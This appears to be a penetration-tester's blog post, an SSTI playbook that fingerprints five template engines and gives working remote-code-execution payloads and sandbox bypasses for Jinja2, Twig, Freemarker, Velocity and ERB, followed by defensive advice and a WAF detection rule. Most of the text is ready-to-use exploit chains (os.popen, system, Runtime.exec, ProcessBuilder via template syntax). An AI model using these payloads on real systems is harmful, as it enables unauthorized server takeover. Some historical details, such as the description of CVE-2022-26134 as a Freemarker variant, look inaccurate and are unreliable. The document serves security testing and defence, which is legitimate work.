/ WEB EXPLOITATION · SERVER-SIDE TEMPLATE INJECTION — FROM LEAK TO RCE ACROSS FIVE ENGINES
— · — · — v 4.2 · MMXXVI

Server-Side Template Injection — from leak to RCE across five engines

A working playbook for SSTI in 2026 — engine fingerprinting, sandbox escapes, and the chains that get from {{7*7}} to a shell on Jinja2, Twig, Freemarker, Velocity, and ERB.

Scope. Authorized engagements only. Every payload here was developed and validated against lab environments I built or had explicit permission to test.

The {{7*7}}49 discovery is the easy half of an SSTI engagement. The hard half is going from “I can render arbitrary template syntax” to “I have RCE on the application server” — across whichever template engine the app happens to use. Modern engines ship with sandboxing, autoescape defaults, class-attribute filters, and runtime restrictions specifically designed to break the textbook payloads. The 2017 PortSwigger SSTI payloads still work in some places, fail in others, and the failure modes are confusing if you don’t know what’s stopping them.

This post is the modern, cross-engine playbook. Five engines, five chains, and the engine-specific defense layers each one ships in 2026.

Quick recap — what SSTI is, and isn’t

The bug class is: untrusted input is concatenated into a template and the template is then rendered, instead of being passed as a context variable. The classic vulnerable pattern in Python:

# vulnerable
return render_template_string("Hello " + name)

# safe — name is a context var, not part of the template
return render_template_string("Hello {{ n }}", n=name)

What’s distinctive about SSTI vs. plain XSS is that the rendering happens server-side, in a language with full access to the host’s runtime. The upper bound on impact is whatever the runtime exposes — which, in most template engines, is “everything.”

Step 0 — engine fingerprinting

Before any payload work, you need to know which engine you’re hitting. The public PortSwigger flowchart is fine but slow. The fast version:

  1. Submit ${7*7} and {{7*7}} simultaneously, in the same field.
  2. Read the response.
Response contains Engine candidates
49 (from {{7*7}}) Jinja2 / Django / Twig / Liquid
49 (from ${7*7}) Freemarker / Velocity / Spring EL / Smarty
7777777 (string repeat) Twig (Symfony)
Both literal {{...}} and ${...} echoed Probably client-side template; check XSS path

Then disambiguate within the candidate set:

  • Jinja2 vs Django: try {{ ''.__class__ }}. Jinja2 returns <class 'str'>, Django either returns nothing (autoescape) or errors with a template syntax exception that mentions django.template.
  • Twig: try {{ 7|abs }} — Twig has abs, Liquid doesn’t, Jinja2 does. Then {{ 7*'7' }} — Twig returns 49, Jinja2 returns '7777777'.
  • Freemarker vs Velocity: try ${"a"?upper_case}. Freemarker returns A, Velocity errors with a parse failure.

Build a polyglot once and keep it as a header value:

{{7*'7'}}${7*'7'}<%= 7*7 %>#{7*7}@{7*7}

The response that comes back tells you the engine in one request.

Engine 1 — Jinja2 (Python)

The standard payload pattern walks the Python class hierarchy:

{{ ''.__class__.__mro__[1].__subclasses__() }}

This returns a list of every subclass of object reachable in the current process. Among them, you find Popen, subprocess, _frozen_importlib, or in older builds, <class 'warnings.catch_warnings'> which gives a path to the os module via __init__.__globals__.

The 2026-canonical Jinja2 RCE chain, assuming no sandbox:

{{
  cycler.__init__.__globals__.os.popen('id').read()
}}

cycler is a built-in Jinja2 helper exposed in most Flask templates. Its __init__ lives in jinja2.utils, and __globals__ of any module-level function gives access to that module’s os import — which Jinja2 imports internally for path handling.

If cycler isn’t available (templates without Jinja2’s defaults), fall back to the subclass walk:

{{ ''.__class__.__base__.__subclasses__() }}

Find an entry like <class 'subprocess.Popen'> at index N, then:

{{ ''.__class__.__base__.__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Jinja2 sandbox bypass

Modern Flask apps that use SandboxedEnvironment block __class__, __mro__, __subclasses__, __globals__, and __init__ access. The 2024-era bypass trick — using attr filter — was patched in Jinja2 3.1.x:

{# this used to work, doesn't anymore #}
{{ ''|attr('__class__') }}

The current sandbox-evasion family relies on string formatting and filter chaining:

{{ self|attr(["__","class__"]|join) }}

If attr is also blocked, fall back to environment-internal helpers via the request object that Flask exposes by default:

{{ request.application.__self__._get_data_for_json.__globals__.json.JSONEncoder.default.__globals__.os.popen('id').read() }}

Long chain, but it doesn’t hit __class__ at any step — every attribute is name-based access through Flask’s own internals. Practically, if the sandbox is configured but you have access to request, you’re winning.

If neither request nor cycler is available, you’ve hit a true sandbox and the path is no longer RCE — it’s information disclosure (read template source, leak environment variables via accessible context vars).

Engine 2 — Twig (PHP / Symfony)

Twig is the engine I see most often in modern PHP CMS engagements (Drupal 9+, Symfony, Craft CMS). Twig’s sandbox is on by default in Drupal — and it’s good. Bypassing it requires very specific holes.

Unsandboxed Twig, the classic chain:

{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

This works because Twig’s registerUndefinedFilterCallback accepts any callable, and PHP treats string "exec" as a callable for the exec() function. Calling getFilter("id") then triggers the undefined-filter path, which calls exec("id").

Twig 3.x removed _self.env. Replacement:

{{ ['id', 0]|sort('system') }}

This uses Twig’s sort filter with a user-defined comparator — except PHP allows any callable as the comparator. Pass 'system', and the sort comparison ends up calling system('id').

Twig sandbox bypass

Drupal’s sandbox blocks the sort filter and _self. The 2024-era bypass via the map filter and Symfony\Component\HttpFoundation\Request class loading:

{{ {0:0}|reduce('system','id') }}

reduce accepts a callable. Same trick, different filter. If reduce is blocked too, you’ve usually hit a real sandbox and the path is information disclosure (e.g., reading user objects or admin emails out of the template context).

Engine 3 — Freemarker (Java / FTL)

Freemarker is the dominant template engine in Java enterprise apps and Confluence. The classic payload is the Execute instance trick:

<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

?new() is Freemarker’s instance-construction syntax. The freemarker.template.utility.Execute class executes the supplied command and returns stdout.

When Freemarker is configured with Configuration.setNewBuiltinClassResolver(SAFER_RESOLVER), ?new() blocks the Execute class explicitly. Bypass:

<#assign object = "freemarker.template.utility.ObjectConstructor"?new()>
${object("java.lang.ProcessBuilder", ["id"]).start()}

ObjectConstructor is sometimes whitelisted because it’s used for legitimate templates that need to instantiate user classes. From there, ProcessBuilder gives full RCE.

Freemarker confluence-specific notes

CVE-2022-26134 was Confluence’s variant of this. The fix was to switch to UNRESTRICTED_RESOLVER-by-default-blocked. Modern Confluence still has the attack surface but requires a path through a custom user-defined class_resolver, which most installs don’t expose.

Engine 4 — Velocity (Java / VTL)

Apache Velocity uses ${...} and #set(...) directives. The classic chain:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")

It’s verbose because Velocity has no ${'a'.class} shortcut — every step is reflective. Cleaner using $class:

#set($s="")
#set($exec=$s.getClass().forName("java.lang.Runtime").getMethod("exec",$s.getClass()))
#set($rt=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
$exec.invoke($rt,"id")

Velocity sandbox

SecureUberspector is Velocity’s built-in sandbox. It blocks reflection on Class.getClassLoader, Class.forName, and Method.invoke. With Secure Uberspector enabled, the reflective chain dies at step 2.

Bypass requires finding a non-reflective route, usually through whatever helper objects the app exposes in the Velocity context. This is app-specific — there’s no universal sandbox bypass. Look for any context object that exposes a method which internally does string-based class loading.

Engine 5 — ERB (Ruby / Rails)

ERB SSTI is rare because Rails apps usually render ERB on trusted developer templates, not user input. But it shows up in:

  • Custom report-generation features that let users define email templates.
  • Some lightweight Sinatra/Rack apps.
  • Configuration management web UIs that compile ERB-driven config.

The payload:

<%= `id` %>

Backticks in ERB invoke the shell. Done. No sandbox bypass needed because ERB doesn’t have a sandbox in the standard library — Ruby projects that need to render untrusted templates typically use Liquid, not ERB.

If the app strips backticks but allows <%= evaluation, the alternate chain:

<%= IO.popen("id").read %>

Or:

<%= system("id") %>

If the surrounding text uses <%== (HTML-safe ERB), it doesn’t change anything — <%== only affects output escaping, not evaluation.

Cross-engine: detection that works

If you’re on the receiving side of one of these engagements, the layered defense:

  1. Don’t concatenate user input into templates. Pass it as a context variable. This is the primary fix — sandboxes are the second line.
  2. Use the strict sandbox configurations. Jinja2’s SandboxedEnvironment, Drupal’s Twig sandbox, Freemarker’s SAFER_RESOLVER. Default configurations are not strict enough.
  3. Lock the class resolver explicitly. In Java engines, register a class resolver that allowlists only the classes your templates need. This is verbose but it’s the difference between sandbox-bypass-via-known-CVE and sandbox-bypass-via-arbitrary-research.
  4. Monitor for SSTI fingerprinting at the WAF layer. The polyglot {{7*7}}${7*7} is a strong signal even if individual templates allow it. If the same source IP submits this across multiple endpoints, it’s not a customer.

A WAF rule that catches the boring 90%

SecRule ARGS "@rx (?:\{\{.*?[*+\-/%].*?\}\}|\$\{.*?[*+\-/%].*?\})" \
    "id:9001,phase:2,deny,status:403,msg:'SSTI fingerprint'"

This catches {{7*7}} and ${7*7} style tests. It will not catch {{cycler|attr('__init__')|...}}, but most automated scanners give up after the polyglot fingerprint fails — it raises the floor effectively.

Real-world patterns I’ve seen

Three patterns from recent engagements that don’t appear in the textbook SSTI guides:

  1. Email-template-builder SSTI. App lets admin users define the HTML template for transactional emails. Devs assumed admin = trusted. Engagement scope included escalating from a low-privilege admin role to the app server. The template engine was Twig, the sandbox was off because “admins are trusted.” Path to RCE: 5 minutes.

  2. PDF generation via Velocity. The PDF service rendered Velocity templates and piped them to wkhtmltopdf. The Velocity context exposed an object with a getClass() method even though SecureUberspector was enabled — the developer had explicitly added it to a “convenience” wrapper. Path to RCE: a half-day of context-object exploration.

  3. Server-Side Includes mistaken for SSTI. App had Apache Includes enabled and the input field rendered as <!--#exec cmd="id"-->. Looks like SSTI; isn’t. The fix is Options -Includes at the Apache level, not template-engine sandboxing. Worth knowing because the symptoms are identical to SSTI.

Tooling

  • Burp Suite Pro with the Hackvertor extension for polyglot encoding.
  • tplmap — automated SSTI detection and exploitation. Useful as a fingerprinter even when its exploitation modules don’t reach RCE.
  • Custom polyglot Burp Intruder list — the cross-engine fingerprint payload, plus ${7*7} variants in URL-encoded and double-URL-encoded form.
  • A copy of each engine’s source code — Jinja2, Twig, Freemarker, Velocity. When you hit a sandbox you don’t recognize, read the sandbox code. The bypass is usually one method that wasn’t covered.

Further reading

  • PortSwigger’s SSTI guide remains the best fingerprinting reference.
  • HackTricks SSTI page has the largest payload corpus, organized by engine.
  • The Jinja2 SandboxedEnvironment source is short — read it to know exactly which attributes are blocked.
  • Twig’s Twig\Sandbox\SecurityPolicy for the same in PHP.
  • Freemarker’s TemplateClassResolver interface — the sandbox layer that determines reachable classes.

The point. SSTI is not solved by “block {{ in user input.” It’s solved by treating user input as data, never as code, and double-checked by an explicit sandbox configuration. Both layers, every time.